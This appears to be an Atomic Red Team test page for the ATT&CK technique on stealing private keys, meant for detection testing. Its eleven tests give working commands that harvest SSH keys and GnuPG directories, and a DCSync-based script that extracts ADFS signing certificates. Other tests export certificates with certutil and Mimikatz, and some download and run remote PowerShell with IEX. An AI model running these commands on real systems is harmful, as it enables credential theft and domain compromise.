T1552.004
Unsecured Credentials: Private Keys
Description from ATT&CK
Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc.
Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)
When a device is registered to Azure AD, a device key and a transport key are generated and used to verify the device’s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)
On network devices, private keys may be exported via Network Device CLI commands such as 1
crypto pki export
Some private keys require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line. These private keys can be used to authenticate to Remote Services like SSH or for use in decrypting other collected files such as email.
Atomic Tests
Atomic Test #1 - Private Keys
Find private keys on the Windows file system. File extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc
Supported Platforms: windows
auto_generated_guid: 520ce462-7ca7-441e-b5a5-f8347f632696
Inputs:
None
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
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dir c:\ /b /s .key | findstr /e .key
Atomic Test #2 - Discover Private SSH Keys
Discover private SSH keys on a macOS or Linux system.
Supported Platforms: macos,linux
auto_generated_guid: 46959285-906d-40fa-9437-5a439accd878
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| search_path | Path where to start searching from. | path | / |
| output_file | Output file containing locations of SSH key files | path | /tmp/keyfile_locations.txt |
Attack Commands: Run with sh!
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find #{search_path} -name id_rsa 2>/dev/null >> #{output_file}
exit 0
Cleanup Commands:
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rm #{output_file}
Atomic Test #3 - Copy Private SSH Keys with CP
Copy private SSH keys on a Linux system to a staging folder using the 1
cp
Supported Platforms: linux
auto_generated_guid: 7c247dc7-5128-4643-907b-73a76d9135c3
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| search_path | Path where to start searching from. | path | / |
| output_folder | Output folder containing copies of SSH private key files | path | /tmp/art-staging |
Attack Commands: Run with sh!
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mkdir #{output_folder}
find #{search_path} -name id_rsa 2>/dev/null -exec cp --parents {} #{output_folder} \;
exit 0
Cleanup Commands:
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rm -rf #{output_folder}
Atomic Test #4 - Copy Private SSH Keys with rsync
Copy private SSH keys on a Linux or macOS system to a staging folder using the 1
rsync
Supported Platforms: macos,linux
auto_generated_guid: 864bb0b2-6bb5-489a-b43b-a77b3a16d68a
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| search_path | Path where to start searching from. | path | / |
| output_folder | Output folder containing copies of SSH private key files | path | /tmp/art-staging |
Attack Commands: Run with sh!
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mkdir #{output_folder}
find #{search_path} -name id_rsa 2>/dev/null -exec rsync -R {} #{output_folder} \;
exit 0
Cleanup Commands:
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rm -rf #{output_folder}
Atomic Test #5 - Copy the users GnuPG directory with rsync
Copy the users GnuPG (.gnupg) directory on a Mac or Linux system to a staging folder using the 1
rsync
Supported Platforms: macos,linux
auto_generated_guid: 2a5a0601-f5fb-4e2e-aa09-73282ae6afca
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| search_path | Path where to start searching from | path | / |
| output_folder | Output folder containing a copy of the .gnupg directory | path | /tmp/GnuPG |
Attack Commands: Run with sh!
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mkdir #{output_folder}
find #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \;
exit 0
Cleanup Commands:
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rm -rf #{output_folder}
Atomic Test #6 - ADFS token signing and encryption certificates theft - Local
Retrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as Administrator on an ADFS server. Based on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump.
Supported Platforms: windows
auto_generated_guid: 78e95057-d429-4e66-8f82-0f060c1ac96f
Inputs:
None
Attack Commands: Run with powershell!
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Import-Module AADInternals -Force
Export-AADIntADFSCertificates
Get-ChildItem | Where-Object {$_ -like "ADFS*"}
Write-Host "`nCertificates retrieved successfully"
Cleanup Commands:
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Remove-Item -Path ".\ADFS_encryption.pfx" -ErrorAction Ignore
Remove-Item -Path ".\ADFS_signing.pfx" -ErrorAction Ignore
Dependencies: Run with powershell!
Description: AADInternals module must be installed.
Check Prereq Commands:
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if (Get-Module AADInternals) {exit 0} else {exit 1}
Get Prereq Commands:
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Install-Module -Name AADInternals -Force
Atomic Test #7 - ADFS token signing and encryption certificates theft - Remote
Retrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as a Domain Administrators user on a domain-joined computer. Based on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump.
Supported Platforms: windows
auto_generated_guid: cab413d8-9e4a-4b8d-9b84-c985bd73a442
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| adfs_service_account_name | Name of the ADFS service account | string | adfs_svc |
| replication_user | Username with replication rights. It can be the Domain Admin running the script | string | Administrator |
| replication_password | Password of replication_username | string | ReallyStrongPassword |
| adfs_server_name | Name of an ADFS server | string | sts.contoso.com |
Attack Commands: Run with powershell!
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Import-Module ActiveDirectory -Force
Import-Module AADInternals -Force | Out-Null
#Get Configuration
$dcServerName = (Get-ADDomainController).HostName
$svc = Get-ADObject -filter * -Properties objectguid,objectsid | Where-Object name -eq "#{adfs_service_account_name}"
$PWord = ConvertTo-SecureString -String "#{replication_password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList #{replication_user}, $PWord
# use DCSync to fetch the ADFS service account's NT hash
$hash = Get-AADIntADUserNTHash -ObjectGuid $svc.ObjectGuid -Credentials $Credential -Server $dcServerName -AsHex
$ADFSConfig = Export-AADIntADFSConfiguration -Hash $hash -SID $svc.Objectsid.Value -Server #{adfs_server_name}
# Get certificates decryption key
$Configuration = [xml]$ADFSConfig
$group = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.Group
$container = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.ContainerName
$parent = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.ParentContainerDn
$base = "LDAP://CN=$group,$container,$parent"
$ADSearch = [System.DirectoryServices.DirectorySearcher]::new([System.DirectoryServices.DirectoryEntry]::new($base))
$ADSearch.Filter = '(name=CryptoPolicy)'
$ADSearch.PropertiesToLoad.Clear()
$ADSearch.PropertiesToLoad.Add("displayName") | Out-Null
$aduser = $ADSearch.FindOne()
$keyObjectGuid = $ADUser.Properties["displayName"]
$ADSearch.PropertiesToLoad.Clear()
$ADSearch.PropertiesToLoad.Add("thumbnailphoto") | Out-Null
$ADSearch.Filter="(l=$keyObjectGuid)"
$aduser=$ADSearch.FindOne()
$key=[byte[]]$aduser.Properties["thumbnailphoto"][0]
# Get encrypted certificates from configuration and decrypt them
Export-AADIntADFSCertificates -Configuration $ADFSConfig -Key $key
Get-ChildItem | Where-Object {$_ -like "ADFS*"}
Write-Host "`nCertificates retrieved successfully"
Cleanup Commands:
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Remove-Item -Path ".\ADFS_encryption.pfx" -ErrorAction Ignore
Remove-Item -Path ".\ADFS_signing.pfx" -ErrorAction Ignore
Dependencies: Run with powershell!
Description: AADInternals and ActiveDirectory modules must be installed.
Check Prereq Commands:
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if ($(Get-Module AADInternals) -or $(Get-Module -ListAvailable -Name ActiveDirectory)) {echo 0} else {echo 1}
Get Prereq Commands:
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Install-Module -Name AADInternals -Force
Atomic Test #8 - CertUtil ExportPFX
The following Atomic test simulates adding a generic non-malicious certificate to the Root certificate store. This behavior generates a registry modification that adds the cloned root CA certificate in the keys outlined in the blog. In addition, this Atomic utilizes CertUtil to export the PFX (ExportPFX), similar to what was seen in the Golden SAML attack. Keys will look like - \SystemCertificates\CA\Certificates or \SystemCertificates\Root\Certificates Reference: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec Reference: https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html
Supported Platforms: windows
auto_generated_guid: 336b25bf-4514-4684-8924-474974f28137
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| output | file path to export to | path | c:\temp\atomic.pfx |
| password | password for cert | string | password |
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
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IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1553.004/src/RemoteCertTrust.ps1' -UseBasicParsing)
certutil.exe -p #{password} -exportPFX Root 1F3D38F280635F275BE92B87CF83E40E40458400 #{output}
Cleanup Commands:
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Get-ChildItem -Path Cert:\ -Recurse | Where-Object { $_.Thumbprint -eq '1F3D38F280635F275BE92B87CF83E40E40458400' } | remove-item
Atomic Test #9 - Export Root Certificate with Export-PFXCertificate
Creates a Root certificate and exports it with Export-PFXCertificate PowerShell Cmdlet. Upon a successful attempt, this will write a pfx to disk and utilize the Cmdlet Export-PFXCertificate.
Supported Platforms: windows
auto_generated_guid: 7617f689-bbd8-44bc-adcd-6f8968897848
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| pfx_path | output path of the certificate | string | $env:Temp\atomicredteam.pfx |
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
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$mypwd = ConvertTo-SecureString -String "AtomicRedTeam" -Force -AsPlainText
$cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\LocalMachine\My
Set-Location Cert:\LocalMachine\My
Get-ChildItem -Path $cert.Thumbprint | Export-PfxCertificate -FilePath #{pfx_path} -Password $mypwd
Cleanup Commands:
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try {
$cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My
Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
} catch { }
Atomic Test #10 - Export Root Certificate with Export-Certificate
Creates a Root certificate and exports it with Export-Certificate PowerShell Cmdlet. Upon a successful attempt, this will write a pfx to disk and utilize the Cmdlet Export-Certificate.
Supported Platforms: windows
auto_generated_guid: 78b274f8-acb0-428b-b1f7-7b0d0e73330a
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| pfx_path | Path of the certificate | path | $env:Temp\AtomicRedTeam.cer |
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
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$cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\LocalMachine\My
Set-Location Cert:\LocalMachine\My
Export-Certificate -Type CERT -Cert Cert:\LocalMachine\My\$($cert.Thumbprint) -FilePath #{pfx_path}
Cleanup Commands:
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try {
$cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My -ErrorAction Ignore
Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
}
catch { }
Atomic Test #11 - Export Certificates with Mimikatz
The following Atomic test will utilize Mimikatz to extract the certificates from the local system My store. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands. A successful attempt will stdout the certificates and write multiple .pfx and .der files to disk.
Supported Platforms: windows
auto_generated_guid: 290df60e-4b5d-4a5e-b0c7-dc5348ea0c86
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| mimikatz_exe | Path of the Mimikatz binary | string | PathToAtomicsFolder\T1003.001\bin\x64\mimikatz.exe |
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
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#{mimikatz_exe} "crypto::certificates /systemstore:local_machine /store:my /export" exit
Dependencies: Run with powershell!
Description: Mimikatz must exist on disk at specified location (#{mimikatz_exe})
Check Prereq Commands:
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if (Test-Path #{mimikatz_exe}) {exit 0} else {exit 1}
Get Prereq Commands:
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[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing)
$releases = "https://api.github.com/repos/gentilkiwi/mimikatz/releases"
$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(".zip") }
$basePath = Split-Path #{mimikatz_exe} | Split-Path
Invoke-FetchFromZip $zipUrl "x64/mimikatz.exe" $basePath